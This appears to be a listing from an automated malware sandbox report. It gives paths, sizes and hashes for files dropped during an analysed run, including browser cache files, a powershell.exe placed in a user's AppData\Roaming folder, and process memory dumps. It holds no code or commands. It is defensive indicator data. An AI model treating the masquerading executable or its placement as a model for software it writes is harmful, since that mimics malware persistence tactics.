Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\Preferences
Size 3KB
SHA256 82b7c780aabee227473f9c4430a74ed6772e164eae0b38f5056b76e7874e6832
MD5 1fe9b08b3014bdf5072273e9f7a9b53a
SHA1 35a74bdfe654ae8512d6ebd7cffb07b587e66fb3
SHA512 c304f94cf2280ca7d66986f829b5bc9a06285e04f4a3610105da9184dcbe7ff885f34b8b4cf798297a33c4d9ed0d2efa4ad04d51d803f828dc39c3499232c1eb
TLSH
T16A614268D0A44DA70DB2BB6A797E1B42FA41936F06801C0A3D7D558C1FF292B8045F9E
MD5 SHA1 SHA512 TLSH

Submit Download

2cc80dabc69f58b6_0

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0
Size 472B
SHA256 7433e2de592bac3d53e34206cd580d140d107eae0defa146b238d209d3b34c87
MD5 d1d6b5a71725264ad4893180b3baa615
SHA1 d1c1cef579f3a8b1d517c2171d6aa37390634fc3
SHA512 6f50f6f08b9c5fc7fdb614ee423f14cf2b2407c2488d7b5a0cfe8a497174ae194d4f564bda132d3180963213e24fa8bb6b25c158a5ac8734d2a73bc87f2068a1
TLSH
T1C2F0A3560D498974D71845F2CBD7735D87172628D93E5255B954821CD494F6CC8909C2
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 48B
SHA256 7970b918ce700b814832c7cb315ee6ccd6a03906b260b74157f186c2707d7e0b
MD5 67ad37454d47fea0111ebc451878df74
SHA1 b4611a6f594fbe2e5d1b038e93e7ed876304797e
SHA512 32090d85250a8d66ef7aa2104b7505e3c1bbe60e94a60b7ed5225929beae9249ab35ce05f4db42d7dd35bb4bf0c677bd663026738d995b660bd0f842a61dd876
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\Shared Dictionary\cache\index-dir\the-real-index
Size 48B
SHA256 9ec64530d9db75972e558f0b077fe8ee22c60086d34b67a9cf2e89ce21bd1e10
MD5 fde110719afd4e8e4c983779be7d925a
SHA1 b4ae82aa07e5f0872a45ea5e8cc104bc027ec82c
SHA512 3cdfd79ebfe2b0eb09cbf073afb6126cf11de8195bfcb8f0173eff4bbf2125f80e4bb4c9936ecbc663406cecb7e5f54d47544ac06b207a7e8f937da6716b901a
MD5 SHA1 SHA512

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\GrShaderCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\GrShaderCache\index
Size 256KB
SHA256 ccd58f6ef456a275f6e61fa6c1f5f6e82e18620922db1594fb5f77c9f62bb969
MD5 010283160817bb7ebe29fd80525d2486
SHA1 b19e635db7890011bd663e2f0ca9081118e0559f
SHA512 44cbddcd90e016451b5d345ec4977ac5282ae2ab093cac15a229d23c9792d416662e4ec88dbac8f5184ceec2fbf605470c466f8c00e7355de771297a27c71c5d
SSDEEP 3:LstlNllklkXlHDR:LsX3lPjR
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\GraphiteDawnCache\index
Size 256KB
SHA256 b7b09a42fc0e30ffee66d2c6fc00a8eeb2f6ca531eda535b265fdaf6ce4e4df8
MD5 3dc078539b3d6dbcf5413fb52174ea79
SHA1 41e41b2df005762791fced74d0040161b5bc09a9
SHA512 a9b67d2d91b46b2660fc3195372ef33701cb6739cf4519006c0760d67434840df8a023bd037fefb7f35c2c8caa72c1b8d4263896e153f7a79cbf3b7f508cefd4
SSDEEP 3:LstlNllklkXlk:LsX3lPk
MD5 SHA1 SHA512 SSDEEP

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Local State
Size 1KB
SHA256 c394f0fdbf652c7a2b87dd5a8312056a456fda9badd85ca251867a160dc6775a
MD5 65162d47f45aa4181a7483c128ea2974
SHA1 cc15703736afa92ca5594630f7304695fa455a45
SHA512 89994a69b944f1c396d90eaa451000abe14e8e270cdbdcdf23b0423f7e1615118af196d5b504dadf6d86dd2cb51f92d63a655ffbfc8f40f3b3c900b0ad69e3f1
TLSH
T13D11A57439A83236BBB18855F690ABA30E35426FC191EBC82BDD2F4006BA6582507D39
MD5 SHA1 SHA512 TLSH

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\ShaderCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\ShaderCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\ShaderCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe

Path C:\Users\Admin\AppData\Roaming\powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
TLSH
T134A45A976BD432D5D83AC435C83344520722BCB9DB919BDB99D8B23D0E712C09E3EA67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/716-245-0x0000023CA4940000-0x0000023CA49FE000-memory.dmp

Download

memory/1096-71-0x000002C3F59D0000-0x000002C3F5A8E000-memory.dmp

Download

memory/1956-554-0x000002987F230000-0x000002987F23C000-memory.dmp

Download

memory/1956-555-0x000002987F7A0000-0x000002987F84D000-memory.dmp

Download

memory/1956-550-0x000002987F210000-0x000002987F220000-memory.dmp

Download

memory/1956-551-0x000002987F210000-0x000002987F220000-memory.dmp

Download

memory/1956-60-0x000002987FF00000-0x000002987FF44000-memory.dmp

Download

memory/1956-52-0x000002987F210000-0x000002987F220000-memory.dmp

Download

memory/1956-51-0x000002987F210000-0x000002987F220000-memory.dmp

Download

memory/4168-66-0x000001CA2E6C0000-0x000001CA2E6DE000-memory.dmp

Download

memory/4168-507-0x000001CA15A50000-0x000001CA15A5C000-memory.dmp

Download

memory/4168-240-0x000001CA2E290000-0x000001CA2E2A0000-memory.dmp

Download

memory/4168-239-0x000001CA2E290000-0x000001CA2E2A0000-memory.dmp

Download

memory/4168-62-0x000001CA2EA30000-0x000001CA2EBF2000-memory.dmp

Download

memory/4168-12-0x000001CA2E6F0000-0x000001CA2E7AE000-memory.dmp

Download

memory/4168-11-0x000001CA2E5B0000-0x000001CA2E642000-memory.dmp

Download

memory/4168-10-0x000001CA2E370000-0x000001CA2E378000-memory.dmp

Download

memory/4168-9-0x000001CA2E380000-0x000001CA2E3A2000-memory.dmp

Download

memory/4168-49-0x000001CA2E7B0000-0x000001CA2E862000-memory.dmp

Download

memory/4168-508-0x000001CA2E2A0000-0x000001CA2E34D000-memory.dmp

Download

memory/4168-63-0x000001CA2E8E0000-0x000001CA2E956000-memory.dmp

Download

memory/4168-64-0x000001CA2E960000-0x000001CA2E9B0000-memory.dmp

Download

memory/4168-65-0x000001CA2F130000-0x000001CA2F658000-memory.dmp

Download

memory/4168-1-0x000001CA2E290000-0x000001CA2E2A0000-memory.dmp

Download

memory/4168-0-0x000001CA2E290000-0x000001CA2E2A0000-memory.dmp

Download

memory/4212-556-0x0000029E82540000-0x0000029E8266A000-memory.dmp

Download

memory/4212-651-0x0000029E82540000-0x0000029E8266A000-memory.dmp

Download